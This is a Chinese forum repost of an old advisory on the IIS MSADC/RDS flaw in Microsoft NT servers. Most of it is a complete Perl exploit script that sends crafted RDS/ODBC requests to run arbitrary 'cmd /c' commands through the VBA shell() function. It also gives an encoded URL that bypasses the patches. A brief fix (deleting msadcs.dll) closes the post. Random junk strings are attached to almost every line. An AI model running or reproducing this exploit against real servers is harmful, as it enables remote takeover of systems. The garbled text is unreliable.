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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) b|@zjh;]A7  
p|NY.N  
涉及程序: nP<u.{q L  
Microsoft NT server <L11s%5-  
/hmDeP o}  
描述: ~-y&C%  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 {0n p  
|(2#KMEWa  
详细: U$y wO4.  
如果你没有时间读详细内容的话,就删除: T8)X?>CIW  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 3$Vx8:Rhdn  
有关的安全问题就没有了。 -ah)/5j  
S:Jg#1rww-  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 !`4ie  
1RX-`"^+  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ,3c25.,*  
关于利用ODBC远程漏洞的描述,请参看: /er{sKVX<  
Q[aF"5h%  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k3e6y  
6V ncr}  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 G<k.d"<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp mPqK k  
:-<30LS $  
这里不再论述。 n qx0#_K-E  
63_#*6Pv28  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: jUl_ToX  
5''k|B>  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset cH$( *k9%M  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! dtTfV.y4w  
]Hq,Pr_+  
[i.c;'Wy/  
#将下面这段保存为txt文件,然后: "perl -x 文件名" W`c$2KS?DO  
N 3O!8A_  
#!perl R,["w9 8a  
# \ltS~E uWU  
# MSADC/RDS 'usage' (aka exploit) script xLLTp7b(  
# 'p\&Mc_Gu  
# by rain.forest.puppy US^%pd  
# $T:;Kc W)  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me <P ?gP1_zi  
# beta test and find errors! kOdpW  
f Ayh9  
use Socket; use Getopt::Std; iOCs% J  
getopts("e:vd:h:XR", \%args); ;K|K]c  
auX(d -m  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; bA2[=6  
"w0~f6o  
if (!defined $args{h} && !defined $args{R}) { )E7wBNV   
print qq~ 5Ma."?rW   
Usage: msadc.pl -h <host> { -d <delay> -X -v } g.blDOmlc  
-h <host> = host you want to scan (ip or domain) KHx;r@{<  
-d <seconds> = delay between calls, default 1 second O"kb*//  
-X = dump Index Server path table, if available ZR0 OqSp]  
-v = verbose 'vu]b#l3  
-e = external dictionary file for step 5 ` ~^My~f  
J%B/(v`  
Or a -R will resume a command session V@s93kh  
,)!%^ ~v  
~; exit;} K>LS8,8V  
BB9eQ: xO  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 6[RTL2&W  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 1JdMw$H  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ~Ym*QSD  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ]bmf}&  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} f%1\1_^g  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7fzH(H  
M #0v# {o  
if (!defined $args{R}){ $ret = &has_msadc; PX0N7L  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1:- M<=J?f  
J7oj@Or9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" hR:i!  
. "cmd /c "; _A& [rBm|  
$in=<STDIN>; chomp $in; " W{rS4L  
$command="cmd /c " . $in ; v$x)$/]n  
QmGK! H>3  
if (defined $args{R}) {&load; exit;} l Le&q  
"'+C%  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; d(d3@b4Ta  
&try_btcustmr; ^jdtp  
TOgH~R=  
print "\nStep 2: Trying to make our own DSN..."; fk6=;{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 9!_LsQ\)  
UY,u-E"  
print "\nStep 3: Trying known DSNs..."; bA$ElKT  
&known_dsn; 23K#9!3  
fhR u-  
print "\nStep 4: Trying known .mdbs..."; (E 8jkc  
&known_mdb; :RZ'_5P[If  
"\rO}(gC;`  
if (defined $args{e}){ {M=B5-  
print "\nStep 5: Trying dictionary of DSN names..."; 59:kL<;S-  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Q>;Aq!mr=  
oRcP4k;d=  
print "Sorry Charley...maybe next time?\n"; %}-ogi/c  
exit; V4CA*FEA  
D'{ o3Q,%K  
############################################################################## nygeR|:\  
*%_M?^  
sub sendraw { # ripped and modded from whisker Xkx&'/QG,U  
sleep($delay); # it's a DoS on the server! At least on mine... pNuU{:9 B0  
my ($pstr)=@_; nehk8+eV_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2$b1q!g<  
die("Socket problems\n"); vO"E4s  
if(connect(S,pack "SnA4x8",2,80,$target)){ J|o<;9dg1  
select(S); $|=1; KyDd( 'i  
print $pstr; my @in=<S>; ){u# (sW  
select(STDOUT); close(S); j5[ >HL  
return @in; -Gl!W`$I `  
} else { die("Can't connect...\n"); }} LV0gw"  
k%-UW%  
############################################################################## ?$<~cD" Sw  
CI \O)iB  
sub make_header { # make the HTTP request Bd;EI)JT  
my $msadc=<<EOT $:-C9N29  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ,,IK}  
User-Agent: ACTIVEDATA L"?4}U:  
Host: $ip L8zMzm=-  
Content-Length: $clen x 2l}$(7  
Connection: Keep-Alive 0|0IIgy  
kf~>%tES]  
ADCClientVersion:01.06 EL2z&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 2JeEmG9  
nSZp,?^  
--!ADM!ROX!YOUR!WORLD! Kuk@x.~0m  
Content-Type: application/x-varg yTe25l{QaF  
Content-Length: $reqlen LS# _K-  
#L*MMC"  
EOT [5M!'  
; $msadc=~s/\n/\r\n/g; QZO<'q`L  
return $msadc;} +:c}LCI9<  
yd45y}uS;F  
############################################################################## U}=H1f,  
M3GFKWQI,`  
sub make_req { # make the RDS request n4"xVDL  
my ($switch, $p1, $p2)=@_; h4ghMBo%  
my $req=""; my $t1, $t2, $query, $dsn; *>o@EUArN  
z|S4\Ae  
if ($switch==1){ # this is the btcustmr.mdb query 7-9HCP  
$query="Select * from Customers where City=" . make_shell(); (\%+id|/q@  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . lfw BUb  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} A9[D.W9>  
w#bdb;  
elsif ($switch==2){ # this is general make table query cyL|.2,  
$query="create table AZZ (B int, C varchar(10))"; oK"#*n  
$dsn="$p1";} A v/y  
[f$pq5f='  
elsif ($switch==3){ # this is general exploit table query [E}pU8.t6  
$query="select * from AZZ where C=" . make_shell(); Nk F2'Z{$+  
$dsn="$p1";} RcI0n"Gi_  
%V!!S#W  
elsif ($switch==4){ # attempt to hork file info from index server ry* 9  
$query="select path from scope()"; PbMvM  
$dsn="Provider=MSIDXS;";} W%9"E??c  
5(Xq58nhxI  
elsif ($switch==5){ # bad query 9w\C vO&R  
$query="select"; 5y~B/.YY  
$dsn="$p1";} 1py >[II@  
%.{xo.`a[  
$t1= make_unicode($query); zKG]7  
$t2= make_unicode($dsn); gvP.\,U  
$req = "\x02\x00\x03\x00"; PC!X<C8*  
$req.= "\x08\x00" . pack ("S1", length($t1)); U/rFH9e$  
$req.= "\x00\x00" . $t1 ; AIA4c"w.EO  
$req.= "\x08\x00" . pack ("S1", length($t2)); _9iF`Q  
$req.= "\x00\x00" . $t2 ; ]U 1S?p  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; +gb"} cN  
return $req;} &23t/`   
VOp+6ho<  
############################################################################## ve(@=MJ  
e#tWQM3  
sub make_shell { # this makes the shell() statement y#lg)nB  
return "'|shell(\"$command\")|'";} w /CD-  
jSvo-  
############################################################################## "fd'~e$S#  
7{=+Va5  
sub make_unicode { # quick little function to convert to unicode ^"$~&\+x5  
my ($in)=@_; my $out; Psjk 7\  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } tZD^<Q7}\  
return $out;} Lez]{%+.`[  
1 |3vwgRhs  
############################################################################## Mg u=cm )  
 0LUw  
sub rdo_success { # checks for RDO return success (this is kludge) -kzg(+sm  
my (@in) = @_; my $base=content_start(@in); ]=]`Mnuxb  
if($in[$base]=~/multipart\/mixed/){ `S=4cSH(  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} '494^1"io  
return 0;} G0x!:[  
'[[*(4 a3  
############################################################################## 7{ QjE  
V%J_iY/BUb  
sub make_dsn { # this makes a DSN for us -$y/*'  
my @drives=("c","d","e","f"); O'W[/\A56M  
print "\nMaking DSN: "; -/6Ms%O  
foreach $drive (@drives) { 5 |oi*b  
print "$drive: "; B]cV|S|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ]-u>HO g\  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ]i'gU(+;`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (_~Dyvo  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; "eKM<S  
return 0 if $2 eq "404"; # not found/doesn't exist 5cC)&}I  
if($2 eq "200") { %0eVm   
foreach $line (@results) { ,#80`&\%  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _,|N`BBqd  
} return 0;} Pill |4c<  
6 Zv~c(   
############################################################################## LGC3"z\=  
M4}zRr([.5  
sub verify_exists { &uu69)u  
my ($page)=@_; d7L|yeb"  
my @results=sendraw("GET $page HTTP/1.0\n\n"); C;rK16cn  
return $results[0];} Kdd5ysTQ  
#TY[\$BHs  
############################################################################## d0 yZ9-t  
[~IFg~*,  
sub try_btcustmr { .^?Z3iA",  
my @drives=("c","d","e","f"); ~^"s.Lsb  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +WFa4NZ  
!tv+,l&L  
foreach $dir (@dirs) { 0[SrRpD  
print "$dir -> "; # fun status so you can see progress BQ77 n2(@  
foreach $drive (@drives) { 1BA5|  
print "$drive: "; # ditto P;l D ri  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; %;tBWyq}_  
$reqlenlen=length( "$reqlen" ); u=!n9W~"  
$clen= 206 + $reqlenlen + $reqlen; a/p /<  
hc5iIJ]  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?N!.:~~k  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} YU%U  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} L)/^%/!  
]Saw}agE[%  
############################################################################## ,[ M^rv  
e5.sqft  
sub odbc_error { [5jXYqD=vj  
my (@in)=@_; my $base; 1FmqNf:V7I  
my $base = content_start(@in); ST^{?Q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this C2Af$7c  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cP(is!  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tY $4k26  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `}&}2k  
return $in[$base+4].$in[$base+5].$in[$base+6];} '9q:gFO  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |t h"ET  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .  ,L7:3W  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} *v9 {f?  
GxcW^{;  
############################################################################## 8AVG pL  
A LnE[}N6,  
sub verbose { 5Lm<3:7Q+  
my ($in)=@_; 3r,^is  
return if !$verbose; /s~&$(d59o  
print STDOUT "\n$in\n";} \I`g[nT|  
V(6ovJpA0  
############################################################################## !mRDzr7  
UG<`m]  
sub save { S.A|(?x  
my ($p1, $p2, $p3, $p4)=@_; ! V;glx[  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; &IgH]?t  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; cu$i8$?t   
close OUT;} cvl1 X"  
*Wz\FixP0  
############################################################################## n!t][d/g+  
LuW^Ga"E  
sub load { 5X"WgR;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 23WlUM  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); b&Go'C{p  
@p=<IN>; close(IN); d<B=p&~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); K_E- Hgg_  
$target= inet_aton($ip) || die("inet_aton problems"); 7[u$!.4{*  
print "Resuming to $ip ..."; :yC|Q)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; WL/9r *jW  
if($p[1]==1) { "f<+~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; W0>fu>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )MJy  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); AIa#t#8${  
if (rdo_success(@results)){print "Success!\n";} (dVrGa54  
else { print "failed\n"; verbose(odbc_error(@results));}} :#zv,U&OC  
elsif ($p[1]==3){ /N82h`\n  
if(run_query("$p[3]")){ 0I@Cx {$  
print "Success!\n";} else { print "failed\n"; }} meNz0ve  
elsif ($p[1]==4){ +zn207 .`  
if(run_query($drvst . "$p[3]")){ @&M$oI$4*  
print "Success!\n"; } else { print "failed\n"; }} O/2Jz  
exit;} i7(\i2_P  
o@g/,V $  
############################################################################## nH^RQ'19  
9,zM.g9Qv  
sub create_table { d9sqO9Ud8  
my ($in)=@_; t.E3Fh!o  
$reqlen=length( make_req(2,$in,"") ) - 28; bZsg7[: C  
$reqlenlen=length( "$reqlen" ); z@n779i  
$clen= 206 + $reqlenlen + $reqlen; f.SmCgG  
my @results=sendraw(make_header() . make_req(2,$in,"")); =3?"s(9  
return 1 if rdo_success(@results); SR\F2@u  
my $temp= odbc_error(@results); verbose($temp); P",E/beV  
return 1 if $temp=~/Table 'AZZ' already exists/; {Lm%zdk*k  
return 0;} ;NzS;C'  
Nt#a_  
############################################################################## lKF<]25  
l]o)KM<  
sub known_dsn { 6 C|]Fm  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go \9t6 #8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /i)1BaF  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", k|c=O6GO  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); %[C-KQH  
3V`.<  
foreach $dSn (@dsns) { X}gnO83  
print "."; 4C{3>BE  
next if (!is_access("DSN=$dSn")); !HP/`R  
if(create_table("DSN=$dSn")){ P?P))UB5  
print "$dSn successful\n"; j L[ hB  
if(run_query("DSN=$dSn")){ J6Q}a7I#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $"&U%3  
print "Something's borked. Use verbose next time\n";}}} print "\n";} aY7.<p*a  
H;O PA8\n  
############################################################################## b_JW3l  
.wfN.Z  
sub is_access { Z*rA~`@K6  
my ($in)=@_; I^z$0  
$reqlen=length( make_req(5,$in,"") ) - 28; "gPAxt  
$reqlenlen=length( "$reqlen" ); _ooSMp|  
$clen= 206 + $reqlenlen + $reqlen; |ozlaj  
my @results=sendraw(make_header() . make_req(5,$in,"")); zsx12b^w  
my $temp= odbc_error(@results); ?~5J!|r#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); f{DcR"  
return 0;} MYb^ILz H3  
aab?hR  
############################################################################## HKdR?HM1  
yNb :zoT  
sub run_query { sC .R.  
my ($in)=@_; D< 4!7*9%  
$reqlen=length( make_req(3,$in,"") ) - 28; H}$hk  
$reqlenlen=length( "$reqlen" ); An%V>a-[  
$clen= 206 + $reqlenlen + $reqlen; > WW5A py[  
my @results=sendraw(make_header() . make_req(3,$in,"")); UUt631  
return 1 if rdo_success(@results); mxRe2<W  
my $temp= odbc_error(@results); verbose($temp); S-Y(Vn4  
return 0;} Pyx$$cj  
^:RDu q  
############################################################################## Nh[{B{k  
Uieg4Iro  
sub known_mdb { *ppb 4R;CW  
my @drives=("c","d","e","f","g"); j;k(AM<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 92k}ON  
my $dir, $drive, $mdb; 7BX%z$_)A  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; e]+ [lq\p@  
'*KP{"3\  
# this is sparse, because I don't know of many DjT ekn  
my @sysmdbs=( "\\catroot\\icatalog.mdb", FDAREE\j  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Qp?n0WXZ  
"\\system32\\certmdb.mdb", ^gdg0y!5~  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% LEJ7.82  
E5%ae (M^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 63$ R')  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 2ju1<t,8)  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }fo?K|Xx  
"\\cfusion\\cfapps\\security\\realm_.mdb", RhJL`>W`  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2,>q(M6,EA  
"\\cfusion\\database\\cfexamples.mdb", Yb|zE   
"\\cfusion\\database\\cfsnippets.mdb", %V$ujun`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lE54RX}e4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?ExfxR!~  
"\\cfusion\\brighttiger\\database\\cleam.mdb", T'*.LpNP,  
"\\cfusion\\database\\smpolicy.mdb", o^Y'e+T"  
"\\cfusion\\database\cypress.mdb", w^*jhvV%kW  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", (8r?'H8ZO  
"\\website\\cgi-win\\dbsample.mdb", [)gvP'  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 6wWA(![w"  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" k*4?fr  
); #these are just DOXRU5uP3  
foreach $drive (@drives) { -BV&u(  
foreach $dir (@dirs){ g(:y_EpmLH  
foreach $mdb (@sysmdbs) { B%Yb+M&K  
print "."; a<V=C  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ S)"5X)mq  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |7zm!^t$  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Oh:SH|=]#  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; F|V co]"S1  
} else { print "Something's borked. Use verbose next time\n"; }}}}} OD"eB?  
tE{7S/?h  
foreach $drive (@drives) { l!ye\  
foreach $mdb (@mdbs) { iR#jBqXD  
print "."; ,gU9y wg  
if(create_table($drv . $drive . $dir . $mdb)){ &%Hj.  
print "\n" . $drive . $dir . $mdb . " successful\n"; )`rC"N)  
if(run_query($drv . $drive . $dir . $mdb)){ $`'^&o;&f  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; $gZ|=(y&r  
} else { print "Something's borked. Use verbose next time\n"; }}}} 1F5F2OT$8  
} 33\b@F7b  
`bZ_=UAb  
############################################################################## -o#0Yt}3  
>?e*;f$VdJ  
sub hork_idx { e_6 i896  
print "\nAttempting to dump Index Server tables...\n"; JoZC+G  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; xuelo0h,  
$reqlen=length( make_req(4,"","") ) - 28; sZ'3PNpCP  
$reqlenlen=length( "$reqlen" ); ?NI)3-l  
$clen= 206 + $reqlenlen + $reqlen; %!rsu-W:Y  
my @results=sendraw2(make_header() . make_req(4,"","")); Yb =8\<;  
if (rdo_success(@results)){ Pr<?E[  
my $max=@results; my $c; my %d; :B- ,*@EU  
for($c=19; $c<$max; $c++){ {uj9fE,)  
$results[$c]=~s/\x00//g; g{$&j*Q9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (oJ#`k:&n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 2 ;B[n;Q{  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; rMlbj2T  
$d{"$1$2"}="";} XB;;OP12  
foreach $c (keys %d){ print "$c\n"; } % wRJ"T`Tt  
} else {print "Index server doesn't seem to be installed.\n"; }} 'd?8OV  
,75,~  
############################################################################## l!iB -?'u  
kd\yHI9A  
sub dsn_dict { lQ+-g#`  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); >5 5/@+^  
while(<IN>){ Q)a*bPz  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; *pasI.2s#  
next if (!is_access("DSN=$dSn")); iCx'`^HnP  
if(create_table("DSN=$dSn")){ Q}2w~Cn\S  
print "$dSn successful\n"; vJq`l3&  
if(run_query("DSN=$dSn")){ T  |j^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { OClY ,@  
print "Something's borked. Use verbose next time\n";}}} Eun%uah6c  
print "\n"; close(IN);} r9vC&pWZ  
|E7]69=P  
############################################################################## 3\@6i'  
[1vrv(u>  
sub sendraw2 { # ripped and modded from whisker NM]6  o  
sleep($delay); # it's a DoS on the server! At least on mine... I3s}t$`y(  
my ($pstr)=@_; 8'cDK[L  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -`?V8OwY]  
die("Socket problems\n"); d'-^ VxO0  
if(connect(S,pack "SnA4x8",2,80,$target)){ Dkdm~~Rr  
print "Connected. Getting data"; \aW5V:?  
open(OUT,">raw.out"); my @in; Hh@mIusj  
select(S); $|=1; print $pstr; v5$zz w  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} A`r&"i OKA  
close(OUT); select(STDOUT); close(S); return @in; 5!cplx=<  
} else { die("Can't connect...\n"); }} (~#PzE :  
zu|pL`X  
############################################################################## sU}e78mh  
\R#XSW,  
sub content_start { # this will take in the server headers q5RLIstQ\  
my (@in)=@_; my $c; etDB|(,z  
for ($c=1;$c<500;$c++) { (8ymQ!aY  
if($in[$c] =~/^\x0d\x0a/){ ,vhR99g{  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } gVl#pVO`N  
else { return $c+1; }}} h'jnc.  
return -1;} # it should never get here actually yWK[@;S]%  
Lq&xlW j  
############################################################################## oD}I{&=wa  
L|H{;r'  
sub funky {  z`_N|iEd  
my (@in)=@_; my $error=odbc_error(@in); k<f*ns  
if($error=~/ADO could not find the specified provider/){ i/Hi  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (^Ln|3iz  
exit;} `H|g~7KD&  
if($error=~/A Handler is required/){ I%s/h4x^B[  
print "\nServer has custom handler filters (they most likely are patched)\n"; E|fPI u  
exit;} G37_ `C  
if($error=~/specified Handler has denied Access/){ -J6}7>4^8}  
print "\nServer has custom handler filters (they most likely are patched)\n"; g+CH F?O  
exit;}} }gn0bCJy  
<=`@`rm{  
############################################################################## F% |(pHk  
kR_[p._  
sub has_msadc { PRUGUHY  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); C eg6 o &^  
my $base=content_start(@results); u@|yw)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %q!nTG U~  
return 0;} @rdC/=Y[  
fAm2ls7c  
######################## lk'RWy"pw  
$H 9xM  
C/$IF M<  
解决方案: L@ay4,e.bz  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll >pYgF =J  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 xphqgOc12,  
Owr`ip\  
拿出来充数 哈哈
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